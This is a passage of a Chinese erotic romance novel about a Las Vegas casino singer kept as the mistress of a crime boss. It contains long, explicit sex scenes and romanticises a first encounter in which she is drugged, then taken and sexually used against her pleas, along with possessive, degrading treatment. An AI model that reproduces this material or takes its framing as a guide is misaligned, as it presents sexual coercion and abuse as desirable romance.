图片载入中

掠夺之后再娶你(01~10 完)

特大字】 【大字】 【中字】 【小字

第一章

美国拉斯维加斯

赌城的夜晚犹如一场盛大的嘉年华会,热闹的气氛充斥在各个角落。

在这规模庞大的成人游乐园里,灯红酒缘,纸醉金迷,梦幻得不像是真的,有人挥金如土,有人一夜致富,永远都可能发生传奇。

其中,“红龙赌场”的数字灯光招牌,吸引了无数过客的目光,也是赌城中占地最广、装潢最豪华的一家赌场。

据说,现任的赌场老板是一名华人,五年前,他在牌桌上将“红龙”赢走。但他极少露脸,赌场里的大小事务全交由一名资深的经理负责。

又据说,这座日进斗金的红龙赌场,仅仅是他事业版图中的一小部分。 许多人称他“黑街帝王”,因为在美东、美西,甚至是亚洲的台湾、香港、日韩等地,都存在着他的黑暗势力,那些用光明正大的方式解决不了的事,全让他移到擡面下,并且一一迎刃而解。

“红龙”大厅里,此时人声鼎沸,中央的圆形舞台正在上演华丽的猫王模仿秀,一名贴着略嫌夸张的鬓毛的高大男歌手,在豪华美女舞群的簇拥下卖力地表演着,将复古式的麦克风耍来耍去,配合肢体的扭摆,把巨星的风采诠释得维妙维肖。

突然,中央舞台的上端爆出闪亮火光,如银色雨幕直落而下,猫王秀在一片震撼中落幕了!那些由世界各地前来的赌徒和观光客们大都随意瞥了眼,下一秒,又把注意力放回赌桌和吃角子老虎机器上,和命运继续搏斗。

舞台安静下来,在那帘银色火光完全坠落时,一缕低柔的美好嗓音像要钻进人的灵魂,带着蓝调的忧郁,轻轻的、缓缓的、慢条斯理的,让人不得不暂停动作,下意识搜寻那嗓音的来源。

这时,一道光打在舞台中央,就见一座小型圆台从底下渐渐升起。

唱歌的东方女郎优雅地立在升起的圆台上,她穿着一袭银灰色的连身长裙,露出线条完美的嫩背,蛮腰彷佛不堪一握,长裙左边开岔开得很高,修长匀称的美腿若隐若现,更添性感。

舞台下,有人细碎交谈着──

“来了来了,就是这个啦!我等了整晚,就是想听她唱歌。”

“什么?这神秘的东方女孩是谁?她长得好美呀!”

“你不知道她是谁?老兄,你肯定是第一次来这里吧?”

“怎么?她很有名吗?”

“岂止有名,根本是红翻天了,听说许多好莱坞的制作人都想签下她,可是都被拒绝了。”

“啊?为什么?”

“唉唉唉,她是红龙的珍珠嘛!听说老早就被这家赌场的老板视作私人财产,没有大老板同意,哪能随随便便跑去好莱坞拍电影?”

“你是说,她当了老板的情妇?”

“嘘!小声点,别再乱说话,专心听歌啦!”

还是少说为妙,要是有什么话传出去,今晚说不定就莫名其妙弃尸在沙漠里。 嘈杂的赌场大厅在东方女郎展现一段清唱的实力下,神奇地安静下来,众人似乎忘了自己正在进行的事,有的抓着筹码,有的拿着正要掷出的骰子,有的举着酒杯倚在吧台边,全将焦点锁定在舞台上那抹迷人的身影。

她唱的是一苜英文老歌,半垂着玉颈,柔和的灯光虽朦胧了那张脸,依旧让人感受到锁在眉眼之间淡淡的轻愁。

接着,后头乐团的喇叭手和萨克斯风慢慢加入她的演唱,然后是钢琴的伴奏,每个音符全融进那低柔的声音里,像要勾出人的灵魂,永远缠绕住那份神秘,不愿离开。

此刻的大厅不像赌场,倒像是场个人演唱会,巨星的光采无法抵挡。

赌场经理艾斯里早就对这种场面习以为常,不过仍是被东方女郎的神态和歌声吸引。

他环顾大厅一眼,隐在胡须下的嘴微微笑着,明白待会女郎结束表演后,那些抱着大批钞票来这里试手气的人,八成要欲哭无泪、无功而返。

这是个挺奇异的现象,不过屡试不爽;可能那些赌徒和观光客听歌听得太专注,一下子要把心神抓回赌桌上,还需要一点时间调适。

东方女郎莲步轻移,灯光也跟着她移动,来到舞台左边,裙子开岔的地方裸露出修长又匀称的左腿,肌肤如同粉背一般,泛着晶莹的珍珠光芒。

底下的人看得出神,尤其是男人。

一名身材壮硕、看起来像练过健美的高大男人挤到台下,忽然伸出手,一把抓住粉嫩的脚踝。女郎几乎是面无表情的,只有秀丽的眉心淡淡蹙着,拿着麦克风不唱歌也不说话,仅是垂下眼眸,淡然地看着那男人。

她想抽回脚,但那男人握得更紧,还咧开嘴冲着她笑。

“宝贝,你好美,要不要让我打一炮?你下来!我带你到别的地方,呵呵……我让你看一样神奇的东西,它现在变得又大又硬,你想不想看?”

这男人肯定是醉了!女郎刚想着,蓦然间,三名保全人员己冲了过来,一左一右架住健美男的手臂,另一个则从后头勒住他的粗颈。

“放开她!先生,请你放手!”保全人员厉声命令。

“不要!你们干什么?我是这里的客人,该放手的是你们!”

健美男大吼大叫,用力挣扎,结果女郎被他粗鲁地扯动,脚一滑,整个人跌坐在舞台上,忍不住轻哼一声,好痛!

这时,健美男终于被拖开,但她左脚的银色高跟鞋也落入他手里,大厅又恢复乱烘烘的气氛,众人议论纷纷地望着那名被强行押走、还不断叫嚣的健美男,不知他的下场会如何。

女郎忍着痛站起来,注视着健美男和那些保全人员的背影,心里浮现出不安。 她提起长裙打算追下舞台,有人挡住了她。

“小姐,你要去哪里?”原来是赌场经理。

她看见这名六十多岁的胖胖老好人,心定了定,忙问:“艾斯里,他们要带他去哪里?是不是……是不是要……”杀人?!她太清楚红龙赌场幕后大老板的手段,跟在他身旁的这些年,她见太多了。

“小姐别紧张,那些保全人员知道该怎么做,小姐受伤了吗?”艾斯里不答反问,藏在眼镜后的褐色眼珠微乎其微刷过忧虑。

“我……我没事。”女郎微笑,怕露出疼痛的表情,那个健美男会死得更惨。“艾斯里,我想出去看看,那个人他……”

“那个人已经被红龙赌场列为拒绝往来户了,小姐请放心。”

“不是的,我的意思是……啊!”一下子动作太大,她受伤的脚踝发出抗议,身躯不禁往后倒。

艾斯里原本伸出双臂要去扶住她,但瞥见她身后站立的男人后,灰眉淡淡一挑,隐藏在厚须下的嘴偷偷扬起,跟着垂下双手,任由女郎倒进无声无息靠近的男人怀里。

方蜜儿以为这下又要出糗了,然而,一双强壮的臂膀却承接住她的身体,将她完全锁进胸怀中。

她心脏一紧,随即嗅到男人那独特的爽冽气味,让她整个神经系统、每颗细胞组织瞬间处在紧绷状态。

说实话,她有些害怕张开眼睛,有些害怕接触到那对像要望穿她心底秘密的男性眼瞳。

“先生,这里交给我处理就好。”艾斯里声音不亢不卑,尽责地说。

“嗯。”男人应了声,将怀里的人儿打横抱起,从舞台中央的圆型升降台下到地下室,跟着又搭上另一边的专用电梯。

电梯直直往上攀升,方蜜儿有些头晕,却仍固执地紧闭双眸。

她的脸显得苍白,浓密的扇形睫毛轻轻颤动,瑰丽的红唇轻抿着,倔强中矛盾地透出楚楚可怜的味道。

电梯停住了,“咚!”地一声打开门,男人抱着她走出,三十秒后,她感觉自己被放在舒适的沙发上,小脸随即要转向沙发内侧,却被温热的粗指扣住了下巴,然后,男人的气息便覆盖过来,强硬地灌进她的口中。

“唔……”她发出近似呜咽的呻吟,因他不仅仅蹂躏她的双唇,男性粗糙的手掌也探进性感礼服的襟口,毫不温柔地揉捏着她的裸乳。

“痛……你不要这样,求求你……”趁他的热唇攻击她雪白咽喉时,她颤声请求着,美丽的双眸终于可怜兮兮地掀开,两丸如黑水晶般的眼瞳蒙着一层水气,带着无言的控诉。

“我喜欢你求我另一件事。”男人低哑地朝着她的雪肌喷气,似笑非笑地擡起头,精光逼人的双目近距离锁定她,“为什么不敢看我?”

方蜜儿觉得刚才搭电梯时的头晕感觉仍持续发酵,他的双掌在她的胸前折磨,他的腿挤进她两腿间,开岔的长裙轻轻松松就被撩高,西装裤下的男性象征正抵着她薄薄的小裤,让她完全感受到他惊人、蠢蠢欲动的欲望。

在这种情形下,要她怎么清楚地回答问题?

“我、我没有……啊!”

“说谎。”他惩罚性地捧住她的双乳,拇指和食指忽然捏住顶端敏感的红果,或重或轻地玩弄着。

方蜜儿不由自主地抽气,小手搭在他宽阔的肩上,想推开他,力气却小得跟一只蚂蚁差不多。

“你好重,你……你起来好不好?我身上都是汗,很臭的……”

唿吸越来越急促,她苍白的脸己被渐渐升高的体温染成粉红色,优雅发髻也松散了,波浪般的柔软发丝烘托着精致脸蛋,美得让任何男人心动又冲动。 当然,他是个再正常不过的男人,一样对她心动又冲动,但他一向清楚自己要的是什么,在他眼里,她就如同一件美丽绝伦的对象,窈窕、

成熟,散发着诱人气味的胴体、魔鬼的身材,却矛盾得拥有一张天使般纯美的脸庞。

他要她!

他的欲望在她身上往往能畅快淋漓地发泄,他是她的主宰者、她的王、她的一切!

“你不臭,很香。”他勾起俊唇邪气地笑着,蹂躏软乳的双手干脆拉下她礼服的肩带,让晶莹美好的上半身完全暴露在空气里。

“啊……”他会在这里要了她!方蜜儿心里明白,这男人一向自我惯了,想怎样就怎样,根本没有人能左右他的想法。

半眯着眼睛,她喘着气,并不试图遮掩自己,任由他灼热的目光膜拜着她的赤裸。

她羞耻地感觉胸部在那样的注目下渐惭胀大,涌起一股奇异的疼痛,彷佛渴望他的大手继续适才的折磨,渴望他粗糙的手指继续揉捏……

更羞耻的是,她腿间已泛出热流,她丝毫没办法克制,身体背叛了她,温热的春潮正悄悄溢出,沁湿了她的小裤。

老天!她根本抵挡不住他。

“为什么不敢看我?”男人又问,就算着迷于眼前的美景,也不让自己失控。 他清楚,这份大餐早就是他的,用不着急,他可以慢条斯理地享用,可以玩过一次再一次,夜还很长,他有充裕的时间要她。

“我没有……”方蜜儿强迫自己抓紧残留的神智,一个声音不断在耳边对她说──不能告诉他,不能让他知道,她不能说……

秘密一旦教他得知,那么,她在他面前仅留的一点点尊严也都灰飞烟灭了,她不能说……

看着那倔强又脆弱的美丽脸庞,雷尧天眼神变得深沈黝暗。

她是他情妇名单中历时最长的一个,整整跟了他四年。

当然,这四年当中,他并不只有她一个女人,在不少地方,他都有特别为他暖床的女伴。

以他的财力和背景,多的是美丽女人自动为他张开两腿,等着让他发消,但一个换过一个,他玩腻了,觉得索然无味,就只有她,总能不断引起他的兴趣和“性趣”。

他思索过这个问题,或者就是因为她特殊的气质──倔强与脆弱、固执和柔软、沈静与热情,在她身上,往往能找到无数个矛盾。

就是那些耐人寻味的矛盾,让他前所未有地迷恋她的身体,也许哪一天,他彻底要够了她,彻底揭开那层无形而神秘的面纱,他会放她走,

像对待其它女人一样,也对她感到索然无味。

“我发现……”他声调低沈,撑起上半身,将她困在略嫌狭窄的长沙发上,“你越来越容易敏感了。”

他似乎在笑,却是冷冷凉凉的,让她不由得颤抖。

“蜜儿……”他哑声唤着,故意摆动腰部轻轻撞击她的腿间。

“唔……嗯……”她蹙眉喘着气,高耸的双乳荡出波浪,湿润的春水更是肆无忌惮地泛流。

见她像条水媚的蛇般在身下蠕动,肌肤泛出红潮,他忍不住扯动薄唇,尽管胯下已经充血饱胀,攀升到惊人的热度,他依然克制着,迟迟不满足她。 “蜜儿,你的乳尖变得又红又硬,像渴望被人含进嘴里,你要我像刚才那样爱抚你的身体吗?要吗?蜜儿,回答我。”

他的男性灼热隔着布料恶劣地挤压着她、刺激着她,双臂却好整以暇地撑在两侧,冷眼看她跌进肉欲的潮浪里,毫无保留地展露出最真实也最羞耻的狂态。 好热……好难受……为什么要这样折磨她?

他有这样的权利,不是吗?她早就是他的附属品、他的玩具,他想怎么玩,她也只能任他摆弄,不是吗?

可是,为什么她要爱上他?她不要爱他!

他喜欢看她难堪、看她卑贱地渴求他的充满吗?她会满足他的,在这男人面前,她可以给他一切,让他狂妄霸道地掠夺;但她的心会守住一个秘密,她绝不会让他知道,她竟然爱上了他……

“求求你……”泪水悄悄沁出眼角,她对着他卑微又放荡地祈求,拉来他厚实的两掌放在自己坚挺的胸脯上,喉中逐出脆弱的呻吟,“求求你……尧天,求求你……”

“求我什么?”他双手完全采被动姿态,安静覆住两团丰乳,让她欲火焚身、更加难耐。“蜜儿,你不说,我不知道。”

她会照做的,因为只有遵守他的游戏规则,就能安全地藏住真心。

她轻眨美目,晶莹的泪珠徐徐蜿蜓,玫瑰色的肌肤粉嫩得不可思议。“我好热,求求你……我要你进来,用力抱我,我需要你,求求你……”

他浓利的眉淡淡桃高,双手终于有所动静,再次施加压力揉捏她的双乳,那绵软却又坚挺的触感简直让他爱不释手。

“嗯……啊……”方蜜儿喘息着,小脸无助地偏向一边。

男人偏偏不让她闪躲,俯下头,霸道地吻住她的小嘴,热舌激烈地纠缠着她。 她呜咽着,浑身彷佛着了火。迷迷煳煳间,她开始激烈地回吻,学他这些年教导她的方式,吸吮着他的热舌,甚至还探进他的嘴里,四片唇放荡地相互攻击。 高热持续往上飙升,方蜜儿失了理智,无形火快把她烧成灰烬。

她弄不清楚男人何时脱掉她早己染湿的小底裤,更弄不清楚男人什么时候解开裤头,释放出蓄势待发的坚硬欲望,忽然挤压进来。

她润泽过的花径瞬间就接纳了他的侵略,让他充盈了她的空虚。

“尧天……”她颤抖不已,声音不稳。

“我会用力地要你。”他邪邪笑着,目瞳流转着奇异的光辉,腰臀开始律动起来,炮火全开地撞击身下的娇躯。

“啊、啊、啊……”一声声荡漾心魄的吟叫逸出方蜜儿的朱唇,男人的抽插每一下都这么有力,要不是他抓住她的腰肢、擡起她的翘臀,不停将她拖向他,她八成要被那霸道的力量顶到沙发下的地毯了。

太刺激、太灼热,他要她的方式几近粗暴,根本不懂得呵护。

他强悍地掠夺她的甜美和娇柔,将她的修长玉腿擡到肩上,开始一阵剧烈猛攻。

方蜜儿忍不住哭喊出来,体内的蜜水一波坡地流泄,滋润着他过分的巨大,也让他在捣搅着她的柔软时,不断发出令人害羞万分的滋滋声响。

“尧天……啊……啊……”她弓起身躯唿喊他的名字,泪流得更凶,高潮袭击了她,让她不能自己地抽搐。

“还没,我的蜜儿,还没结束,我承诺过,我今晚会很用力地要你,一次又一次,我说过的,就一定做到,你等着看。”他的声音越来越低,热气拂过她玫瑰般的肌肤。

“呜……”她闭起眼,颤抖仍然继续着,挂在他肩上的腿无力地垂下,如同被掏光力气的洋娃娃,只能任人摆弄。

“我的蜜儿,今夜还很长,你觉得呢?”他语中带笑,理进她腿间的昂扬缓下速度,改以深入浅出的方法,先退出些许,又狠狠撞进。

“啊!”她疲软的身体再次起了反应,虽然神智恍惚,全身无力,还是深刻感受到他。

她虚弱地掀动长睫,迷蒙地看见他正动手脱去西装,幔条斯理地解着钮扣,露出精壮的胸肌……

这个夜的确还很长!

她再次闭起眼睛,细细喘气,感觉到他抓住她的膝盖,扳开她的腿…… “蜜儿,换你来满足我了。”

男人舔咬着她的耳朵,再次火力全开,痛快淋漓地在她诱人的身体里宣泄精力。

第二章

脚踝传来冰凉感,渗进肌肤的毛细孔,好舒服……

方蜜儿全身懒洋洋,头还有点晕,她眨了眨眼,下意识瞄向自己的脚,发现雷尧天正赤裸着身躯坐在大床边,拿着包裹冰块的毛巾替她冰敷扭伤的脚。 他尚未发觉她已醒来,只是专注手上的动作,面无表情,力道却小心翼翼。 他微垂颈项,几缕黑发散在宽额上,孤傲又邪气的眉眼此时淡淡收敛,目光黝黑,看不清楚里头的真正情绪。

他的鼻梁挺直,略微鹰勾的鼻尖透出冷酷的气质,薄唇不笑时显露极度的冷峻,就算扬动嘴角,也是冷冷的笑意,要不便充斥着嘲弄的意味。

这样的一张男性脸庞,算不上特别的英俊帅气,却散发出极端吸引人的特质。 他是冷酷而无情的、是专制而且毫不讲理的;他并不温柔,除非为了达到某种目的,他唯我独尊,认为每个人都该匍匐在他脚边,祈求他的给予。

但此时此刻,他竟然将她的棵足搁在膝上,温柔地替她冰敷?

方蜜儿心中不禁叹息,这男人,永远让人捉摸不定。

近来,她越来越害怕他的亲近,她不敢看他的眼,怕注视太深,会掉进万劫不复的地狱,怕精明的他会从她闪烁希冀的眼底,洞悉她那可笑又可悲的爱情。 她爱他;但从什么时候开始的,她并不清楚。

嗜赌如命的父亲在她还是个孩子时就已经过世,欠下一屁股债务,母亲含辛茹苦将她和妹妹带大。她曾对自己发誓,要赚很多、很多的钱,

让妈妈和妹妹过好日子,再也不要为了躲债四处流浪、搬家。

但妈妈来不及过好日子,就因积劳成疾去世,剩下她和妹妹相依为命,她在病床边答应过妈妈,会好好照顾妹妹。

四年前,妹妹馨儿获得一个交换学生的机会,从台湾飞往纽约,在异乡国度待了整整一年。

这一年当中,她努力工作赚钱,固定每个礼拜汇款到妹妹的户头,她要馨儿过得快乐、无忧无虑。这个家只剩下她们姊妹两个,馨儿是她唯一的亲人,看到馨儿宛如天使般的笑容,她就觉得一切辛苦都是值得的。

她以为馨儿在纽约待过一年后,会回到台湾继续未完成的学业,没想到,馨儿却兴奋地告诉她已在当地申请入学,攻读最爱的服装设计,还说超喜欢纽约的生活,想在当地完成大学学业。

馨儿还说,等到她将来成为有名的服装设计师,一定要为最爱的姐姐设计第一套衣服。

听到妹妹那么快乐的叙述,描绘出令人向往的未来,方蜜儿发现自己根本狠不下心要求她回来,更不愿让妹妹知道,她这个当姐姐的就算天天兼差、缩衣节食,也很难继续提供她接下来几年的学费和生活费。

但无论如何,她必须办到。

在电话里,她只叮咛妹妹要在功课上用心,不要让她失望,半句也没提到关于钱的事,她不要妹妹烦心。

为了筹到那笔庞大的金额,她想过无数个方法,一份正职和三份兼差将她所有的时间占尽,所得的报酬依然不能达到妹妹的需求;心一横,

她辞掉所有兼差,白天正常上班,一到晚上便成为林森北路豪华酒店里的陪酒水姐。

上班不到一星期,点她台的客人爆增,人气一下子飙高到不可思议的地步。 或者那些流座花丛的风流男人吃惯了重口味,突然对她清纯干净的气质拥有高度兴趣,才会一窝蜂捧她的场吧?

一个寒流来袭的冬夜,酒店里如往常般闹烘烘,飘散着一股堕落的气味。她喝了某个客人硬要她灌下的红酒,整个人就开始不对劲,头昏沈沈的,甚至有些轻飘飘,她明白自己被人下药了。

她强作镇定地起身走出包厢,想向酒店的人求援,却发现那些客人跟了过来,还伸手托住她的上臂,假装好心地扶持着她,其实是打算将她带出场。

但她不能去,她不想出卖肉体,陪男人睡觉。

但那些人的笑声好猥亵,搂住她的腰,在她耳边偷偷低语,暧昧又下流地说要如何搞她、上她,要她乖乖听话,等一下会让她爽到欲仙欲死、欲罢不能。 她被半拖半抱地拉出酒店,感觉神智慢慢在抽离当中……

模煳间,似乎有一个高大人影从面前经过,她想也没想,忽然使出最后的气力挣开腰间的束缚,朝那高大身影扑去,藕臂圈住对方颈项,埋在那男人使中虚弱地喃着:“救我!求求你……我不要跟他们走……救我!”

她看不清男人的脸孔,但那一刹那,她嗅到他爽雅的男性体味,一股奇异的安全感包围了她,来不及思索,她就己昏倒在他怀里。

救了她,让她免于被强奸、轮暴的男人,正是雷尧天。

那一阵子,他在台湾停留将近三个月,为了处理亚洲地区一些组织之间的纠纷;那天晚上,他会出现在林森北路那家酒店,也是因为和香港、日本、泰国几位黑白两道通吃的人物见面,谈有关利益分配的事。

或者,她是先爱上他的气味,才会允许他轻易攻占了她的心房。

当她清醒过来时,惊觉自己躺在完全陌生的豪华大床上,他背对着她,望着窗外抽烟,一听见声响,他转过头来,那对眼瞳中燃烧的火焰神秘又邪气,让她一辈子也忘不了。

面对她的惊慌失措,他冷冷牵唇,有趣地欣赏着。

他说,他已经跟酒店的老板要了她,在台湾这段期间,她是他专属的女伴,陪他玩、陪他出席无聊又不得不露脸的宴会,当然,也包括陪他上床,照顾他男人的欲望;而在金钱报酬上,如果她表现良好的话,他绝对不会吝啬。

她错愕又惊恐,拼命拒绝,想让他明白她不是他所想的那样,也试着和他说理,请求他放她回去。

但她的恳求得不到回应,那是她第一次见识到雷尧天的蛮横和霸道。

他在那张大床上要了她,用了许多她想像不到的方式玩弄她纯洁的身体,蹂躏她的柔软,在她雪白肌肤上留下数不清的吻痕。

他在她身上狠狠烙印,夺走她矜持了二十三年的童贞,她成为他泄欲的新玩具,毫不留情地掠夺属于他的一切。

她怎会爱上他?是因为他偶一为之的温柔对待,还是他提供了一个不愁吃穿、又能帮助她完成妹妹梦想的生活?

又或者,她不知不觉间对他的身体、气味、亲吻和爱抚己深深中毒,她的心腐蚀了,宁愿臣服在他的魅力和冷酷中,假装他就是她的白马王子,假装他也一样爱上她。

唉!别想了,越去思考,她心晃动得越厉害。

“啊……”忽然,脚踝传来刺痛,她忍不住轻哼一声。

听见声音,雷尧天擡起脸庞,房中鹅黄色的灯光十分柔和,为那张过分冷峻的脸添上几分柔软色调,但他的眼锐利如鹰,直勾勾又黑沈沈地瞅着小脸迷蒙的她。

“忍着点,一下子就好,里面有瘀血,一定要逼出来,你不会希望未来几天都得躺在床上吧?”他的声音听不太出温度,手指仍持续掐压她纤细脚踝上的几处穴道,顿了几秒,突然又说:“还是我猜错了,你宁愿躺在这张大床上?” 方蜜儿脸蛋倏地红了,这时才发觉棉被下的身躯还是赤裸的。

沙发上的缠绵太过激烈,她晕厥过去,根本不晓得自己何时被他扒得精光,又如何转移阵地躺在大床上的。

“怎么不说话?舌头被猫咬了吗?”雷尧天重重一掐,将方蜜儿的脚踝一扳,将筋骨推回原来位置。

“啊!”虽然事先已冰敷过,降低疼痛感,但忽然来这么一下,方蜜儿还是疼得流出眼泪。

“不要了……”她吸吸鼻子,“拜托你放开好吗?”

她下意识踢了踢,想挣脱他的掌握,没察觉那痛楚早就消退许多。

“别动。”他冷声制止,大手沿着她曲线美好的小腿往上,滑进被子里。 “你干什么?啊!”她的唿吸突然变得急促,男人邪恶的手指抚过她的大腿,精准地找到两腿间绽放的花朵。

“你说呢?蜜儿,我在干什么?”他注视着她的美丽五官,有着厚茧的粗犷指尖不停对着那朵花轻揉慢捻,碰触到顶端最为敏感的珠蕊,两指轻轻一掐…… “啊!尧天……你……啊……啊哈……”方蜜儿不自觉地弓起身躯,小手无助地扯着床单,下腹的空虚感再次涌起,而一波波的热流更是肆无忌惮地氾滥成灾。

“这么快就湿了?蜜儿,你真的越来越敏感。”他欣赏着她的反应,薄凉的唇角微扬,修长粗犷的中指在涓涓不断的滋润下,穿入狭窄的女性甬道中,没给她喘息的机会,以疯狂的速度开始一连串的抽插。

“尧天……啊、啊啊、啊……”她听见春潮在他搅弄下发出的羞人声音,她的腿间被点燃了一把猛火,烧得她既痛苦又快乐。

“舒服吗?蜜儿,我要你说出来,我要听到你的声音,舒服吗?”他低沈地问,给了她一顿美妙的体验后,中指忽然退了出来,在她充血泛红又可怜轻颤的腿间游移,故意折磨她。

他总是这样,爱看她痴狂地祈求他的给予,要她毫无保留地说出那些羞人的话语。

方蜜儿觉得自己被高高地捧起,在天空中飞翔,她头好昏,身体极度渴望被填满、被充实。

“舒、舒服……尧天,求求你……”她其实不太清楚自己在说什么,只希望他别离开她身边,别把她空虚地抛下。

“还想要吗?”男人坏坏地问。

“嗯!”她皱着细致的眉心,可怜兮兮地发出猫咪般的响应。

他眼神一暗,唇角的笑弧充满掠夺的气味。

“我会给你。”他一把扯开那条碍事的棉被,爬上床,用自己的身体温暖了她。

这一次,满足她那份空虚的不再是手指,他高扬的灼热挺进她的体内,让女性的细致完全包裹住男性的巨大。

热火再次引燃,他们再度成为连体婴,他释放、她接纳……

在一次次的挺进、撞击下,她全面失控地叫喊出来,柔软的花径不自觉地收缩,紧紧将他的根源锁住。

雷尧天再也忍受不住,发出野兽般的低吼,宽额上浮出青筋。

欲望急急催促,他允许自己发泄,埋在她身体里抽搐着,将大量的热液喷进她的暖房中,获得真正的解放……

想起昨夜的疯狂,方蜜儿不禁又红了脸。

醒来,黄澄澄的阳光从那道未拉上窗帘的落地窗投撤进来,大床上只剩下她一个人,凌乱的被褥和腰腿的酸疼再再提醒着她,昨晚男人是如何纠缠着她,一次又一次,把她拖进欲望的深渊,化作两头饥渴的野兽,在最原始的韵律中餵食着彼此。

甩甩头,她拍拍发烫的脸颊,强迫自己别再想那些画面。

做了一个深唿吸,她跨下床,想到浴室好好冲洗一番,最好能泡个热水澡,男人狂野的撞击力道似乎还留有余威,重得让她腿软。

裸着身子闪进宽敞的浴室里,她在按摩浴缸内放满热水,倒入一些玫瑰精油,先将身体清洗干净,冲掉发上的泡沫,才缓缓跨进浴缸里,

让那份温热包裹住全身。

“嗯……”好舒服!她放松地合上眼眸,单纯地享受这一刻。

下意识地,她浸在热水里的小手滑到胸前,轻轻爱抚自己的双蜂,另一手则滑过平坦的小腹,探向自己的腿间。她两腿微张,按摩浴缸里激起的水波刺激着她敏感的花唇,拍打着那颗珠蕊,她全身又是一阵虚软,竟控制不住地逸出脆弱的呻吟……

老天!她被要了一整夜还嫌不够吗?难道她真被调教成超级大色女,满脑子都是那些A级想法?

方蜜儿脸红心跳,觉得好羞耻,夹起双腿,两手悄悄压在左胸上,随着吁出的气息,她掀动眼睫,张开眼睛。

“啊!”她突然惊叫一声,雷尧天不知何时出现的,正倚在墙边,似笑非笑地望着她。

“你……”方蜜儿严重结巴,想到她适才爱抚自己的模样全落入男人眼里,羞得真想让自己淹死在浴缸里算了。

雷尧天西装笔挺,连脚下那双高级的小羊皮皮鞋也没脱,昨晚的男欢女爱似乎并未对他造成任何影响,那张性格脸庞依然神采奕奕,湛黑的眼瞳窜烧着意味深长的精光。

“下一次,我要你为我在床上好好表演。”他勾唇。

方蜜儿一怔,随即明白他的意思,原就通红的脸蛋这下子都快烧起来了。他……想看她抚慰自己的模样吗?不行的!她不行的……

害怕他注视的目光会点燃体内的骚动,方蜜儿困难地清清喉咙,挤出声音。 “你……你不是到洛杉矶去了?艾斯里说,你还要飞往欧洲处理一些事务,说不定还要去一趟台湾,你……怎么突然跑来这里?”

昨晚见他出现,她其实是又惊又喜的,“红龙”顶楼的这层豪华住所,仅仅是他用来金屋藏娇的一个地方,心血来潮,他会过来住个几天,品尝她的温柔。 至于那些没有他的夜晚,方蜜儿总觉得心口微微发疼,明知道她毫无权利过问他的事,却忍不住在脑中想了一遍又一遍,猜测着他到底拥有多少像她这样的女人,取代她温暖着他的床。

为什么要爱上他?真笨呵!

为什么谁不爱,偏偏把心遗落在他身上?像他这样的男人,根本不属于任何女人,爱上了,等于把心拧碎,永远只有疼痛。

雷尧天浓浓的眉略略挑高,目光烁了烁,声音低沈。

“我高兴来就来。”停顿了三秒,“你跟艾斯里问起我的去向?”

方蜜儿心跳乱了好几拍,收拢双膝,下意识想遮掩自己的赤裸。

虽然和他己发生过无数次的亲密行为,她还是没办法在他面前完全放松,他那两道火热的视线,是她永远也没办法习惯的。

雷尧天低沈的声调再次咄咄通人。“蜜儿,你很在意我去了哪里吗?” “我……我没有。”她垂下玉颈,避开他的眼。

雷尧天依旧似笑非笑,高大身影忽然靠近了,居高临下地欣赏淫浸在热水中若隐若现的美景。

“真的没有?”他问得慢条斯理,逼迫的意味却非常浓厚。

方蜜儿摇了摇头,心中可怜兮今地祈求着──别那么残忍,别逼问那些她不愿也不敢承认的事……

突然,雷尧天的手指扣住方蜜儿的下颚,半强迫地擡高她的小脸。

她被动地与他对视,浴室里好诤,只有按摩浴缸仍启动着,发出些微运作的声响,以及水波滚动的声音。

她被他看得神经紧绷,他的薄唇却扬起笑意,手指从她细腻的下巴滑向咽喉,在她的颈动脉停了几秒,似乎在测试着她有多紧张。

她不敢乱动,但温热气息不断从鼻腔和微张的小嘴喷出,老天!她竟然又开始感到兴奋?咬着软唇,她心里一阵羞惭。

“尧天,你、你先出去好吗?我还在洗澡……”

雷尧天挑眉,厚实大手探进水里,握住方蜜儿的左乳。

“啊!你不要这样,会弄湿衣服的……”乳尖在他刻意的揉拧下变得坚挺,她两手握成可爱的小拳头,忍住就要冲出回的呻吟。

雷尧天享受着女人丰盈的触感,倾身向前,在她泛红的耳边低语。

“给你一个建议,你最好别太在意我,别以为跟了我四年,让我搞过、睡过,就认为自己有什么不同,我讨厌自以为是的女人,你听懂了吗?”

心口好酸、好苦,方蜜儿咬着唇,难过地闭上眼睛。

为什么爱他?为什么偏偏爱他?她不想爱,为什么一颗心仍在不知不觉间朝他飞去?

不行!她不能在他面前哭泣!他不爱她,一辈子也不可能回应她的感情,没关系的,她就当作自己失恋,就只是失恋而己……

“我懂!我不会认为自己有什么不同,我很清楚自己的身份。”

她只是他用金钱交换的玩偶,既然是玩偶,就不该有情绪,她会乖乖遵从他的命令,再也不会困扰他。

“那最好。”雷尧天五官忽然变得阴沈,似乎一下子被激起脾气。

这实在是莫名其妙,就连他自己也弄不懂为什么!

猛地,他的薄唇罩住她甜美的小嘴,舌头长驱直入地席卷她口中的芬芳,吻得特别用力,像要把她的灵魂吸出,根本不管是否会弄疼她。

方蜜儿只觉得悲哀,心这么痛,全身的细胞却依旧因他的亲近感到兴奋难耐。 她不愿抗拒,任由着欲望牵引,掩饰那难以平静的疼痛……

第三章

结果,雷尧天只在赌城停留一晚。

在浴室吻过方蜜儿后,他头也不回地离开,等她回过神来,虚软地从浴缸里起身,擦干身体和头发,穿上衣裙之后走出卧室,却已看不到他。

她犹豫着要不要下楼找他,此时艾斯里竟亲自为她送早餐上来。

她好想问雷尧天的行踪,可是随即想到他对她的警告,心中顿时又酸又涩地把那些话含在嘴中,缩在客厅沙发里,望着丰盛的餐车发呆。

“先生他已经去机场了。”艾斯里若有所知似的,主动为方蜜儿解答。 “他去机场了?”方蜜儿讶然地擡头。

“是。”艾斯里动作优雅地在吐司上涂满奶油,放在方蜜儿面前的餐盘里,又为她倒上新鲜柳橙汁。“充生将洛杉矶几块地皮引起的纠纷处理好后,本来要直接飞欧洲的;他本来就很忙,非走不可。”

“那他为什么还要飞来这里?赌场有你帮他管理,他还有什么好担心的?他干嘛来?”来去匆匆,我行我素,她努力想平静下来的心湖又被他投进的小石头搅弄,有时,她真希望自己恨他;若能恨,至少就不会那么痛苦。

艾斯里厚须下的嘴微微笑着,把餐盘推向方蜜儿,好声劝着:“吃点东西,别饿肚子生气。”

“我……没有生气。”方蜜儿忍不住脸红。她有什么资格对他发怒?只是左边胸脯空空的,他匆促离去,彷佛也带走了她部分的生气。

“那就快吃。”

“嗯!谢谢你,文斯里。啊,我自己动手就好了。”叹了口气,方蜜儿坐正身躯,拿起烤得恰到好处的吐司塞进嘴里,无情无绪地吃着。

